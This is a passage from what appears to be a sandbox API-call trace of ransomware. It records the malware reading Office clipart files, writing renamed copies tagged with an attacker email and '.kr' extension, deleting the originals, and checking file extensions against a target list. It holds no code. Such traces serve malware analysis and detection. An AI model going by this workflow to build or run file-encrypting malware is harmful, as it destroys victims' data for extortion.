lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.120] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0191.121] GetLastError () returned 0x0 [0191.121] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0191.123] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0191.124] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.124] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.124] SetEndOfFile (hFile=0x53c) returned 1 [0191.124] CloseHandle (hObject=0x53c) returned 1 [0191.124] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.124] SetEndOfFile (hFile=0x410) returned 1 [0191.127] CloseHandle (hObject=0x410) returned 1 [0191.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0191.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.128] lstrlenW (lpString=".doc") returned 4 [0191.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.128] lstrlenW (lpString=".docx") returned 5 [0191.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.128] lstrlenW (lpString=".pdf") returned 4 [0191.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.128] lstrlenW (lpString=".xls") returned 4 [0191.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.128] lstrlenW (lpString=".xlsx") returned 5 [0191.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.128] lstrlenW (lpString=".ppt") returned 4 [0191.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.128] lstrlenW (lpString=".zip") returned 4 [0191.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.128] lstrlenW (lpString=".rar") returned 4 [0191.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.128] lstrlenW (lpString=".bz2") returned 4 [0191.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.128] lstrlenW (lpString=".7z") returned 3 [0191.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.128] lstrlenW (lpString=".dbf") returned 4 [0191.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.129] lstrlenW (lpString=".1cd") returned 4 [0191.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.129] lstrlenW (lpString=".jpg") returned 4 [0191.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.129] lstrlenW (lpString=".doc") returned 4 [0191.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString=".docx") returned 5 [0191.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.129] lstrlenW (lpString=".pdf") returned 4 [0191.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString=".xls") returned 4 [0191.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.129] lstrlenW (lpString=".xlsx") returned 5 [0191.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.129] lstrlenW (lpString=".ppt") returned 4 [0191.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.129] lstrlenW (lpString=".zip") returned 4 [0191.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.129] lstrlenW (lpString=".rar") returned 4 [0191.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString=".bz2") returned 4 [0191.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.129] lstrlenW (lpString=".7z") returned 3 [0191.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.130] lstrlenW (lpString=".dbf") returned 4 [0191.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.130] lstrlenW (lpString=".1cd") returned 4 [0191.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0191.130] lstrlenW (lpString=".jpg") returned 4 [0191.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.130] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.130] lstrlenW (lpString="EN00222_.WMF") returned 12 [0191.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.131] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=12356) returned 1 [0191.131] CloseHandle (hObject=0x410) returned 1 [0191.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0191.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.131] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.132] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0191.132] GetLastError () returned 0x0 [0191.132] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3044, lpOverlapped=0x0) returned 1 [0191.134] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3050, lpOverlapped=0x0) returned 1 [0191.135] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.135] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.136] SetEndOfFile (hFile=0x53c) returned 1 [0191.136] CloseHandle (hObject=0x53c) returned 1 [0191.136] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.136] SetEndOfFile (hFile=0x410) returned 1 [0191.139] CloseHandle (hObject=0x410) returned 1 [0191.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0191.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.140] lstrlenW (lpString=".doc") returned 4 [0191.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.140] lstrlenW (lpString=".docx") returned 5 [0191.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.140] lstrlenW (lpString=".pdf") returned 4 [0191.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.140] lstrlenW (lpString=".xls") returned 4 [0191.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.141] lstrlenW (lpString=".xlsx") returned 5 [0191.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.141] lstrlenW (lpString=".ppt") returned 4 [0191.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString=".zip") returned 4 [0191.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.141] lstrlenW (lpString=".rar") returned 4 [0191.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString=".bz2") returned 4 [0191.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString=".7z") returned 3 [0191.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString=".dbf") returned 4 [0191.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString=".1cd") returned 4 [0191.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString=".jpg") returned 4 [0191.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.141] lstrlenW (lpString=".doc") returned 4 [0191.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.141] lstrlenW (lpString=".docx") returned 5 [0191.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.142] lstrlenW (lpString=".pdf") returned 4 [0191.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString=".xls") returned 4 [0191.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.142] lstrlenW (lpString=".xlsx") returned 5 [0191.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.142] lstrlenW (lpString=".ppt") returned 4 [0191.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.142] lstrlenW (lpString=".zip") returned 4 [0191.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.142] lstrlenW (lpString=".rar") returned 4 [0191.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString=".bz2") returned 4 [0191.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString=".7z") returned 3 [0191.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.142] lstrlenW (lpString=".dbf") returned 4 [0191.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.142] lstrlenW (lpString=".1cd") returned 4 [0191.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0191.142] lstrlenW (lpString=".jpg") returned 4 [0191.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.143] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.143] lstrlenW (lpString="EN00242_.WMF") returned 12 [0191.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.143] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6780) returned 1 [0191.143] CloseHandle (hObject=0x410) returned 1 [0191.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0191.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.144] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.144] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0191.145] GetLastError () returned 0x0 [0191.145] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0191.414] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1a80, lpOverlapped=0x0) returned 1 [0191.555] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.555] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.555] SetEndOfFile (hFile=0x53c) returned 1 [0191.556] CloseHandle (hObject=0x53c) returned 1 [0191.556] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.556] SetEndOfFile (hFile=0x410) returned 1 [0191.558] CloseHandle (hObject=0x410) returned 1 [0191.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0191.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.560] lstrlenW (lpString=".doc") returned 4 [0191.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString=".docx") returned 5 [0191.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.560] lstrlenW (lpString=".pdf") returned 4 [0191.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString=".xls") returned 4 [0191.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.560] lstrlenW (lpString=".xlsx") returned 5 [0191.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.560] lstrlenW (lpString=".ppt") returned 4 [0191.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.560] lstrlenW (lpString=".zip") returned 4 [0191.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.560] lstrlenW (lpString=".rar") returned 4 [0191.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString=".bz2") returned 4 [0191.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString=".7z") returned 3 [0191.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.560] lstrlenW (lpString=".dbf") returned 4 [0191.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.560] lstrlenW (lpString=".1cd") returned 4 [0191.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.561] lstrlenW (lpString=".jpg") returned 4 [0191.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.561] lstrlenW (lpString=".doc") returned 4 [0191.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString=".docx") returned 5 [0191.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.561] lstrlenW (lpString=".pdf") returned 4 [0191.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString=".xls") returned 4 [0191.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.561] lstrlenW (lpString=".xlsx") returned 5 [0191.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.561] lstrlenW (lpString=".ppt") returned 4 [0191.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.561] lstrlenW (lpString=".zip") returned 4 [0191.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.561] lstrlenW (lpString=".rar") returned 4 [0191.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString=".bz2") returned 4 [0191.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.561] lstrlenW (lpString=".7z") returned 3 [0191.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.561] lstrlenW (lpString=".dbf") returned 4 [0191.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.562] lstrlenW (lpString=".1cd") returned 4 [0191.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0191.562] lstrlenW (lpString=".jpg") returned 4 [0191.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.562] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.562] lstrlenW (lpString="FD00296_.WMF") returned 12 [0191.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.562] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15856) returned 1 [0191.563] CloseHandle (hObject=0x410) returned 1 [0191.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0191.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.563] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.563] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), 